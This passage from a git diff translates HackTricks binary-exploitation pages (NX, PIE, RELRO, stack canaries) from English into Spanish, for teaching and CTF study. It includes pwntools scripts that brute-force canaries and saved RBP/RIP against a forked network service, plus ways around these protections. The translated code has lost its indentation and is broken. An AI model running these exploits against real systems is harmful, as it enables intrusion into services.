**use-after-free**, when the memory is accessed again, the **mismatch is detected**. +Cuando se ejecuta **`kfree()`**, la memoria se vuelve a etiquetar con la etiqueta de memoria inválida, por lo que en un **uso después de liberar**, cuando la memoria se accede nuevamente, la **discrepancia se detecta**. -However, in a use-after-free, if the same **chunk is reallocated again with the SAME tag** as previously, an attacker will be able to use this access and this won't be detected (around 7% chance). +Sin embargo, en un uso después de liberar, si el mismo **bloque se vuelve a asignar nuevamente con la MISMA etiqueta** que anteriormente, un atacante podrá usar este acceso y esto no será detectado (alrededor del 7% de probabilidad). -Moreover, only **`slab` and `page_alloc`** uses tagged memory but in the future this will also be used in `vmalloc`, `stack` and `globals` (at the moment of the video these can still be abused). +Además, solo **`slab` y `page_alloc`** utilizan memoria etiquetada, pero en el futuro esto también se utilizará en `vmalloc`, `stack` y `globals` (en el momento del video, estos aún pueden ser abusados). -When a **mismatch is detected** the kernel will **panic** to prevent further exploitation and retries of the exploit (MTE doesn't have false positives). +Cuando se **detecta una discrepancia**, el núcleo **se bloqueará** para prevenir una mayor explotación y reintentos del exploit (MTE no tiene falsos positivos). -## References +## Referencias - [https://www.youtube.com/watch?v=UwMt0e_dC_Q](https://www.youtube.com/watch?v=UwMt0e_dC_Q) diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md index 376dfe6c4..8b7990082 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -The **No-Execute (NX)** bit, also known as **Execute Disable (XD)** in Intel terminology, is a hardware-based security feature designed to **mitigate** the effects of **buffer overflow** attacks. When implemented and enabled, it distinguishes between memory regions that are intended for **executable code** and those meant for **data**, such as the **stack** and **heap**. The core idea is to prevent an attacker from executing malicious code through buffer overflow vulnerabilities by putting the malicious code in the stack for example and directing the execution flow to it. +El **bit No-Execute (NX)**, también conocido como **Execute Disable (XD)** en la terminología de Intel, es una característica de seguridad basada en hardware diseñada para **mitigar** los efectos de los ataques de **desbordamiento de búfer**. Cuando se implementa y habilita, distingue entre regiones de memoria que están destinadas a **código ejecutable** y aquellas destinadas a **datos**, como la **pila** y el **montículo**. La idea principal es prevenir que un atacante ejecute código malicioso a través de vulnerabilidades de desbordamiento de búfer al colocar el código malicioso en la pila, por ejemplo, y dirigir el flujo de ejecución hacia él. ## Bypasses -- It's possible to use techniques such as [**ROP**](../rop-return-oriented-programing/) **to bypass** this protection by executing chunks of executable code already present in the binary. - - [**Ret2libc**](../rop-return-oriented-programing/ret2lib/) - - [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/) - - **Ret2...** +- Es posible utilizar técnicas como [**ROP**](../rop-return-oriented-programing/) **para eludir** esta protección ejecutando fragmentos de código ejecutable ya presentes en el binario. +- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/) +- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/) +- **Ret2...** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md index 99a33743d..e727bc15b 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md @@ -2,30 +2,30 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -A binary compiled as PIE, or **Position Independent Executable**, means the **program can load at different memory locations** each time it's executed, preventing hardcoded addresses. +Un binario compilado como PIE, o **Ejecutable Independiente de Posición**, significa que el **programa puede cargarse en diferentes ubicaciones de memoria** cada vez que se ejecuta, evitando direcciones codificadas. -The trick to exploit these binaries lies in exploiting the **relative addresses**—the offsets between parts of the program remain the same even if the absolute locations change. To **bypass PIE, you only need to leak one address**, typically from the **stack** using vulnerabilities like format string attacks. Once you have an address, you can calculate others by their **fixed offsets**. +El truco para explotar estos binarios radica en explotar las **direcciones relativas**: los desplazamientos entre partes del programa permanecen iguales incluso si las ubicaciones absolutas cambian. Para **eludir PIE, solo necesitas filtrar una dirección**, típicamente desde la **pila** utilizando vulnerabilidades como ataques de formato de cadena. Una vez que tienes una dirección, puedes calcular otras por sus **desplazamientos fijos**. -A helpful hint in exploiting PIE binaries is that their **base address typically ends in 000** due to memory pages being the units of randomization, sized at 0x1000 bytes. This alignment can be a critical **check if an exploit isn't working** as expected, indicating whether the correct base address has been identified.\ -Or you can use this for your exploit, if you leak that an address is located at **`0x649e1024`** you know that the **base address is `0x649e1000`** and from the you can just **calculate offsets** of functions and locations. +Una pista útil al explotar binarios PIE es que su **dirección base típicamente termina en 000** debido a que las páginas de memoria son las unidades de aleatorización, con un tamaño de 0x1000 bytes. Esta alineación puede ser una **verificación crítica si un exploit no está funcionando** como se esperaba, indicando si se ha identificado la dirección base correcta.\ +O puedes usar esto para tu exploit, si filtras que una dirección está ubicada en **`0x649e1024`** sabes que la **dirección base es `0x649e1000`** y desde ahí solo puedes **calcular desplazamientos** de funciones y ubicaciones. -## Bypasses +## Eludidos -In order to bypass PIE it's needed to **leak some address of the loaded** binary, there are some options for this: +Para eludir PIE es necesario **filtrar alguna dirección del binario cargado**, hay algunas opciones para esto: -- **Disabled ASLR**: If ASLR is disabled a binary compiled with PIE is always **going to be loaded in the same address**, therefore **PIE is going to be useless** as the addresses of the objects are always going to be in the same place. -- Be **given** the leak (common in easy CTF challenges, [**check this example**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) -- **Brute-force EBP and EIP values** in the stack until you leak the correct ones: +- **ASLR deshabilitado**: Si ASLR está deshabilitado, un binario compilado con PIE siempre **se cargará en la misma dirección**, por lo tanto, **PIE será inútil** ya que las direcciones de los objetos siempre estarán en el mismo lugar. +- Ser **dado** el leak (común en desafíos CTF fáciles, [**ver este ejemplo**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) +- **Fuerza bruta de los valores EBP y EIP** en la pila hasta que filtren los correctos: {{#ref}} bypassing-canary-and-pie.md {{#endref}} -- Use an **arbitrary read** vulnerability such as [**format string**](../../format-strings/) to leak an address of the binary (e.g. from the stack, like in the previous technique) to get the base of the binary and use offsets from there. [**Find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). +- Usar una vulnerabilidad de **lectura arbitraria** como [**formato de cadena**](../../format-strings/) para filtrar una dirección del binario (por ejemplo, desde la pila, como en la técnica anterior) para obtener la base del binario y usar desplazamientos desde allí. [**Encuentra un ejemplo aquí**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). -## References +## Referencias - [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie) diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md index 996facccb..e900920b4 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md @@ -2,55 +2,54 @@ {{#include ../../../banners/hacktricks-training.md}} -**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.** +**Si te enfrentas a un binario protegido por un canary y PIE (Position Independent Executable), probablemente necesites encontrar una forma de eludirlos.** ![](<../../../images/image (865).png>) > [!NOTE] -> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\ -> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting. +> Ten en cuenta que **`checksec`** podría no encontrar que un binario está protegido por un canary si este fue compilado estáticamente y no es capaz de identificar la función.\ +> Sin embargo, puedes notar esto manualmente si encuentras que un valor se guarda en la pila al comienzo de una llamada a función y este valor se verifica antes de salir. ## Brute-Force Addresses -In order to **bypass the PIE** you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\ -For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.** +Para **eludir el PIE** necesitas **filtrar alguna dirección**. Y si el binario no está filtrando ninguna dirección, lo mejor que puedes hacer es **fuerza bruta el RBP y RIP guardados en la pila** en la función vulnerable.\ +Por ejemplo, si un binario está protegido usando tanto un **canary** como **PIE**, puedes comenzar a forzar bruta el canary, luego los **siguientes** 8 Bytes (x64) serán el **RBP** guardado y los **siguientes** 8 Bytes serán el **RIP** guardado. > [!TIP] -> It's supposed that the return address inside the stack belongs to the main binary code, which, if the vulnerability is located in the binary code, will usually be the case. - -To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP: +> Se supone que la dirección de retorno dentro de la pila pertenece al código binario principal, que, si la vulnerabilidad se encuentra en el código binario, generalmente será el caso. +Para forzar bruta el RBP y el RIP del binario, puedes deducir que un byte adivinado válido es correcto si el programa produce algo o simplemente no se bloquea. La **misma función** que se proporciona para forzar bruta el canary se puede usar para forzar bruta el RBP y el RIP: ```python from pwn import * def connect(): - r = remote("localhost", 8788) +r = remote("localhost", 8788) def get_bf(base): - canary = "" - guess = 0x0 - base += canary +canary = "" +guess = 0x0 +base += canary - while len(canary) < 8: - while guess != 0xff: - r = connect() +while len(canary) < 8: +while guess != 0xff: +r = connect() - r.recvuntil("Username: ") - r.send(base + chr(guess)) +r.recvuntil("Username: ") +r.send(base + chr(guess)) - if "SOME OUTPUT" in r.clean(): - print "Guessed correct byte:", format(guess, '02x') - canary += chr(guess) - base += chr(guess) - guess = 0x0 - r.close() - break - else: - guess += 1 - r.close() +if "SOME OUTPUT" in r.clean(): +print "Guessed correct byte:", format(guess, '02x') +canary += chr(guess) +base += chr(guess) +guess = 0x0 +r.close() +break +else: +guess += 1 +r.close() - print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) - return base +print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) +return base # CANARY BF HERE canary_offset = 1176 @@ -67,30 +66,25 @@ print("Brute-Forcing RIP") base_canary_rbp_rip = get_bf(base_canary_rbp) RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) ``` +Lo último que necesitas para derrotar el PIE es calcular **direcciones útiles a partir de las direcciones filtradas**: el **RBP** y el **RIP**. -The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**. - -From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP: - +Desde el **RBP** puedes calcular **dónde estás escribiendo tu shell en la pila**. Esto puede ser muy útil para saber dónde vas a escribir la cadena _"/bin/sh\x00"_ dentro de la pila. Para calcular la distancia entre el RBP filtrado y tu shellcode, simplemente puedes poner un **punto de interrupción después de filtrar el RBP** y verificar **dónde se encuentra tu shellcode**, luego, puedes calcular la distancia entre el shellcode y el RBP: ```python INI_SHELLCODE = RBP - 1152 ``` - -From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.\ -To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses: +Desde el **RIP** puedes calcular la **dirección base del binario PIE**, que es lo que necesitarás para crear una **cadena ROP válida**.\ +Para calcular la dirección base, simplemente haz `objdump -d vunbinary` y verifica las últimas direcciones desensambladas: ![](<../../../images/image (479).png>) -In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked `0x562002970ecf` the base address is `0x562002970000` - +En ese ejemplo, puedes ver que solo se **necesitan 1 Byte y medio** para localizar todo el código, entonces, la dirección base en esta situación será el **RIP filtrado pero terminando en "000"**. Por ejemplo, si filtraste `0x562002970ecf`, la dirección base es `0x562002970000` ```python elf.address = RIP - (RIP & 0xfff) ``` +## Mejoras -## Improvements +Según [**algunas observaciones de esta publicación**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), es posible que al filtrar los valores de RBP y RIP, el servidor no se bloquee con algunos valores que no son los correctos y el script de BF pensará que obtuvo los correctos. Esto se debe a que **algunas direcciones simplemente no lo romperán incluso si no son exactamente las correctas**. -According to [**some observation from this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), it's possible that when leaking RBP and RIP values, the server won't crash with some values which aren't the correct ones and the BF script will think he got the good ones. This is because it's possible that **some addresses just won't break it even if there aren't exactly the correct ones**. - -According to that blog post it's recommended to add a short delay between requests to the server is introduced. +Según esa publicación del blog, se recomienda introducir un breve retraso entre las solicitudes al servidor. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md b/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md index 59b406c5e..51edda50d 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md @@ -4,32 +4,30 @@ ## Relro -**RELRO** stands for **Relocation Read-Only**, and it's a security feature used in binaries to mitigate the risks associated with **GOT (Global Offset Table)** overwrites. There are two types of **RELRO** protections: (1) **Partial RELRO** and (2) **Full RELRO**. Both of them reorder the **GOT** and **BSS** from ELF files, but with different results and implications. Speciifically, they place the **GOT** section _before_ the **BSS**. That is, **GOT** is at lower addresses than **BSS**, hence making it impossible to overwrite **GOT** entries by overflowing variables in the **BSS** (rembember writing into memory happens from lower toward higher addresses). +**RELRO** significa **Relocation Read-Only**, y es una característica de seguridad utilizada en binarios para mitigar los riesgos asociados con las sobrescrituras de **GOT (Global Offset Table)**. Hay dos tipos de protecciones **RELRO**: (1) **Partial RELRO** y (2) **Full RELRO**. Ambos reordenan la **GOT** y **BSS** de los archivos ELF, pero con diferentes resultados e implicaciones. Específicamente, colocan la sección **GOT** _antes_ de la **BSS**. Es decir, **GOT** está en direcciones más bajas que **BSS**, lo que hace imposible sobrescribir las entradas de **GOT** al desbordar variables en la **BSS** (recuerda que escribir en memoria ocurre de direcciones más bajas a más altas). -Let's break down the concept into its two distinct types for clarity. +Desglosemos el concepto en sus dos tipos distintos para mayor claridad. ### **Partial RELRO** -**Partial RELRO** takes a simpler approach to enhance security without significantly impacting the binary's performance. Partial RELRO makes **the .got read only (the non-PLT part of the GOT section)**. Bear in mind that the rest of the section (like the .got.plt) is still writeable and, therefore, subject to attacks. This **doesn't prevent the GOT** to be abused **from arbitrary write** vulnerabilities. +**Partial RELRO** adopta un enfoque más simple para mejorar la seguridad sin afectar significativamente el rendimiento del binario. Partial RELRO hace **que la .got sea de solo lectura (la parte no PLT de la sección GOT)**. Ten en cuenta que el resto de la sección (como la .got.plt) aún es escribible y, por lo tanto, está sujeta a ataques. Esto **no impide que la GOT** sea abusada **por vulnerabilidades de escritura arbitraria**. -Note: By default, GCC compiles binaries with Partial RELRO. +Nota: Por defecto, GCC compila binarios con Partial RELRO. ### **Full RELRO** -**Full RELRO** steps up the protection by **making the entire GOT (both .got and .got.plt) and .fini_array** section completely **read-only.** Once the binary starts all the function addresses are resolved and loaded in the GOT, then, GOT is marked as read-only, effectively preventing any modifications to it during runtime. +**Full RELRO** aumenta la protección al **hacer que toda la GOT (tanto .got como .got.plt) y la sección .fini_array** sean completamente **de solo lectura.** Una vez que el binario se inicia, todas las direcciones de función se resuelven y se cargan en la GOT, luego, la GOT se marca como de solo lectura, lo que efectivamente previene cualquier modificación durante el tiempo de ejecución. -However, the trade-off with Full RELRO is in terms of performance and startup time. Because it needs to resolve all dynamic symbols at startup before marking the GOT as read-only, **binaries with Full RELRO enabled may experience longer load times**. This additional startup overhead is why Full RELRO is not enabled by default in all binaries. - -It's possible to see if Full RELRO is **enabled** in a binary with: +Sin embargo, la desventaja de Full RELRO está en términos de rendimiento y tiempo de inicio. Debido a que necesita resolver todos los símbolos dinámicos al inicio antes de marcar la GOT como de solo lectura, **los binarios con Full RELRO habilitado pueden experimentar tiempos de carga más largos**. Este costo adicional de inicio es la razón por la cual Full RELRO no está habilitado por defecto en todos los binarios. +Es posible ver si Full RELRO está **habilitado** en un binario con: ```bash readelf -l /proc/ID_PROC/exe | grep BIND_NOW ``` - ## Bypass -If Full RELRO is enabled, the only way to bypass it is to find another way that doesn't need to write in the GOT table to get arbitrary execution. +Si Full RELRO está habilitado, la única forma de eludirlo es encontrar otra manera que no necesite escribir en la tabla GOT para obtener ejecución arbitraria. -Note that **LIBC's GOT is usually Partial RELRO**, so it can be modified with an arbitrary write. More information in [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.** +Tenga en cuenta que **la GOT de LIBC suele ser Partial RELRO**, por lo que se puede modificar con una escritura arbitraria. Más información en [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md index 5c1044b98..156ec9555 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md @@ -2,72 +2,72 @@ {{#include ../../../banners/hacktricks-training.md}} -## **StackGuard and StackShield** +## **StackGuard y StackShield** -**StackGuard** inserts a special value known as a **canary** before the **EIP (Extended Instruction Pointer)**, specifically `0x000aff0d` (representing null, newline, EOF, carriage return) to protect against buffer overflows. However, functions like `recv()`, `memcpy()`, `read()`, and `bcopy()` remain vulnerable, and it does not protect the **EBP (Base Pointer)**. +**StackGuard** inserta un valor especial conocido como **canary** antes del **EIP (Extended Instruction Pointer)**, específicamente `0x000aff0d` (que representa null, nueva línea, EOF, retorno de carro) para proteger contra desbordamientos de búfer. Sin embargo, funciones como `recv()`, `memcpy()`, `read()`, y `bcopy()` siguen siendo vulnerables, y no protege el **EBP (Base Pointer)**. -**StackShield** takes a more sophisticated approach than StackGuard by maintaining a **Global Return Stack**, which stores all return addresses (**EIPs**). This setup ensures that any overflow does not cause harm, as it allows for a comparison between stored and actual return addresses to detect overflow occurrences. Additionally, StackShield can check the return address against a boundary value to detect if the **EIP** points outside the expected data space. However, this protection can be circumvented through techniques like Return-to-libc, ROP (Return-Oriented Programming), or ret2ret, indicating that StackShield also does not protect local variables. +**StackShield** adopta un enfoque más sofisticado que StackGuard al mantener una **Global Return Stack**, que almacena todas las direcciones de retorno (**EIPs**). Esta configuración asegura que cualquier desbordamiento no cause daño, ya que permite una comparación entre las direcciones de retorno almacenadas y las reales para detectar ocurrencias de desbordamiento. Además, StackShield puede verificar la dirección de retorno contra un valor límite para detectar si el **EIP** apunta fuera del espacio de datos esperado. Sin embargo, esta protección puede ser eludida a través de técnicas como Return-to-libc, ROP (Return-Oriented Programming), o ret2ret, lo que indica que StackShield tampoco protege las variables locales. ## **Stack Smash Protector (ProPolice) `-fstack-protector`:** -This mechanism places a **canary** before the **EBP**, and reorganizes local variables to position buffers at higher memory addresses, preventing them from overwriting other variables. It also securely copies arguments passed on the stack above local variables and uses these copies as arguments. However, it does not protect arrays with fewer than 8 elements or buffers within a user's structure. +Este mecanismo coloca un **canary** antes del **EBP**, y reorganiza las variables locales para posicionar los búferes en direcciones de memoria más altas, evitando que sobrescriban otras variables. También copia de manera segura los argumentos pasados en la pila por encima de las variables locales y utiliza estas copias como argumentos. Sin embargo, no protege los arreglos con menos de 8 elementos o los búferes dentro de la estructura de un usuario. -The **canary** is a random number derived from `/dev/urandom` or a default value of `0xff0a0000`. It is stored in **TLS (Thread Local Storage)**, allowing shared memory spaces across threads to have thread-specific global or static variables. These variables are initially copied from the parent process, and child processes can alter their data without affecting the parent or siblings. Nevertheless, if a **`fork()` is used without creating a new canary, all processes (parent and children) share the same canary**, making it vulnerable. On the **i386** architecture, the canary is stored at `gs:0x14`, and on **x86_64**, at `fs:0x28`. +El **canary** es un número aleatorio derivado de `/dev/urandom` o un valor predeterminado de `0xff0a0000`. Se almacena en **TLS (Thread Local Storage)**, permitiendo que los espacios de memoria compartidos entre hilos tengan variables globales o estáticas específicas del hilo. Estas variables se copian inicialmente del proceso padre, y los procesos hijos pueden alterar sus datos sin afectar al padre o a los hermanos. Sin embargo, si se utiliza un **`fork()` sin crear un nuevo canary, todos los procesos (padre e hijos) comparten el mismo canary**, lo que lo hace vulnerable. En la arquitectura **i386**, el canary se almacena en `gs:0x14`, y en **x86_64**, en `fs:0x28`. -This local protection identifies functions with buffers vulnerable to attacks and injects code at the start of these functions to place the canary, and at the end to verify its integrity. +Esta protección local identifica funciones con búferes vulnerables a ataques e inyecta código al inicio de estas funciones para colocar el canary, y al final para verificar su integridad. -When a web server uses `fork()`, it enables a brute-force attack to guess the canary byte by byte. However, using `execve()` after `fork()` overwrites the memory space, negating the attack. `vfork()` allows the child process to execute without duplication until it attempts to write, at which point a duplicate is created, offering a different approach to process creation and memory handling. +Cuando un servidor web utiliza `fork()`, permite un ataque de fuerza bruta para adivinar el byte del canary byte por byte. Sin embargo, usar `execve()` después de `fork()` sobrescribe el espacio de memoria, negando el ataque. `vfork()` permite que el proceso hijo se ejecute sin duplicación hasta que intente escribir, momento en el cual se crea una duplicación, ofreciendo un enfoque diferente para la creación de procesos y el manejo de memoria. -### Lengths +### Longitudes -In `x64` binaries, the canary cookie is an **`0x8`** byte qword. The **first seven bytes are random** and the last byte is a **null byte.** +En binarios `x64`, el canary cookie es un **`0x8`** byte qword. Los **primeros siete bytes son aleatorios** y el último byte es un **byte nulo.** -In `x86` binaries, the canary cookie is a **`0x4`** byte dword. The f**irst three bytes are random** and the last byte is a **null byte.** +En binarios `x86`, el canary cookie es un **`0x4`** byte dword. Los **primeros tres bytes son aleatorios** y el último byte es un **byte nulo.** > [!CAUTION] -> The least significant byte of both canaries is a null byte because it'll be the first in the stack coming from lower addresses and therefore **functions that read strings will stop before reading it**. +> El byte menos significativo de ambos canaries es un byte nulo porque será el primero en la pila proveniente de direcciones más bajas y, por lo tanto, **las funciones que leen cadenas se detendrán antes de leerlo**. ## Bypasses -**Leaking the canary** and then overwriting it (e.g. buffer overflow) with its own value. +**Filtrar el canary** y luego sobrescribirlo (por ejemplo, desbordamiento de búfer) con su propio valor. -- If the **canary is forked in child processes** it might be possible to **brute-force** it one byte at a time: +- Si el **canary se bifurca en procesos hijos**, podría ser posible **forzarlo** byte por byte: {{#ref}} bf-forked-stack-canaries.md {{#endref}} -- If there is some interesting **leak or arbitrary read vulnerability** in the binary it might be possible to leak it: +- Si hay alguna **filtración interesante o vulnerabilidad de lectura arbitraria** en el binario, podría ser posible filtrarlo: {{#ref}} print-stack-canary.md {{#endref}} -- **Overwriting stack stored pointers** +- **Sobrescribiendo punteros almacenados en la pila** -The stack vulnerable to a stack overflow might **contain addresses to strings or functions that can be overwritten** in order to exploit the vulnerability without needing to reach the stack canary. Check: +La pila vulnerable a un desbordamiento de pila podría **contener direcciones a cadenas o funciones que pueden ser sobrescritas** para explotar la vulnerabilidad sin necesidad de alcanzar el canary de la pila. Verifica: {{#ref}} ../../stack-overflow/pointer-redirecting.md {{#endref}} -- **Modifying both master and thread canary** +- **Modificando tanto el canary maestro como el de hilo** -A buffer **overflow in a threaded function** protected with canary can be used to **modify the master canary of the thread**. As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified). +Un desbordamiento de búfer en una **función con hilos** protegida con canary puede ser utilizado para **modificar el canary maestro del hilo**. Como resultado, la mitigación es inútil porque la verificación se utiliza con dos canaries que son los mismos (aunque modificados). -Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\ -As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\ -This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) +Además, un desbordamiento de búfer en una **función con hilos** protegida con canary podría ser utilizado para **modificar el canary maestro almacenado en el TLS**. Esto se debe a que podría ser posible alcanzar la posición de memoria donde se almacena el TLS (y, por lo tanto, el canary) a través de un **bof en la pila** de un hilo.\ +Como resultado, la mitigación es inútil porque la verificación se utiliza con dos canaries que son los mismos (aunque modificados).\ +Este ataque se realiza en el informe: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) -Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup. +Ver también la presentación de [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) que menciona que generalmente el **TLS** se almacena mediante **`mmap`** y cuando se crea una **pila** de **hilo** también se genera mediante `mmap`, lo que podría permitir el desbordamiento como se mostró en el informe anterior. -- **Modify the GOT entry of `__stack_chk_fail`** +- **Modificar la entrada GOT de `__stack_chk_fail`** -If the binary has Partial RELRO, then you can use an arbitrary write to modify the **GOT entry of `__stack_chk_fail`** to be a dummy function that does not block the program if the canary gets modified. +Si el binario tiene Partial RELRO, entonces puedes usar una escritura arbitraria para modificar la **entrada GOT de `__stack_chk_fail`** para que sea una función ficticia que no bloquee el programa si el canary se modifica. -This attack is performed in the writeup: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) +Este ataque se realiza en el informe: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) -## References +## Referencias - [https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html) - [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md index 89eee29ec..e44fd3783 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md @@ -2,55 +2,54 @@ {{#include ../../../banners/hacktricks-training.md}} -**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.** +**Si te enfrentas a un binario protegido por un canario y PIE (Ejecutable Independiente de Posición), probablemente necesites encontrar una manera de eludirlos.** ![](<../../../images/image (865).png>) > [!NOTE] -> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\ -> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting. +> Ten en cuenta que **`checksec`** podría no encontrar que un binario está protegido por un canario si este fue compilado estáticamente y no es capaz de identificar la función.\ +> Sin embargo, puedes notar esto manualmente si encuentras que un valor se guarda en la pila al comienzo de una llamada a función y este valor se verifica antes de salir. -## Brute force Canary +## Fuerza bruta del Canario -The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**. +La mejor manera de eludir un canario simple es si el binario es un programa **que crea procesos hijos cada vez que estableces una nueva conexión** con él (servicio de red), porque cada vez que te conectas a él **se usará el mismo canario**. -Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**): +Entonces, la mejor manera de eludir el canario es simplemente **forzarlo de manera bruta carácter por carácter**, y puedes averiguar si el byte del canario adivinado fue correcto comprobando si el programa se ha bloqueado o continúa su flujo regular. En este ejemplo, la función **fuerza bruta un canario de 8 Bytes (x64)** y distingue entre un byte adivinado correctamente y un byte incorrecto simplemente **verificando** si se envía una **respuesta** de vuelta por el servidor (otra forma en **otra situación** podría ser usando un **try/except**): -### Example 1 - -This example is implemented for 64bits but could be easily implemented for 32 bits. +### Ejemplo 1 +Este ejemplo está implementado para 64 bits, pero podría implementarse fácilmente para 32 bits. ```python from pwn import * def connect(): - r = remote("localhost", 8788) +r = remote("localhost", 8788) def get_bf(base): - canary = "" - guess = 0x0 - base += canary +canary = "" +guess = 0x0 +base += canary - while len(canary) < 8: - while guess != 0xff: - r = connect() +while len(canary) < 8: +while guess != 0xff: +r = connect() - 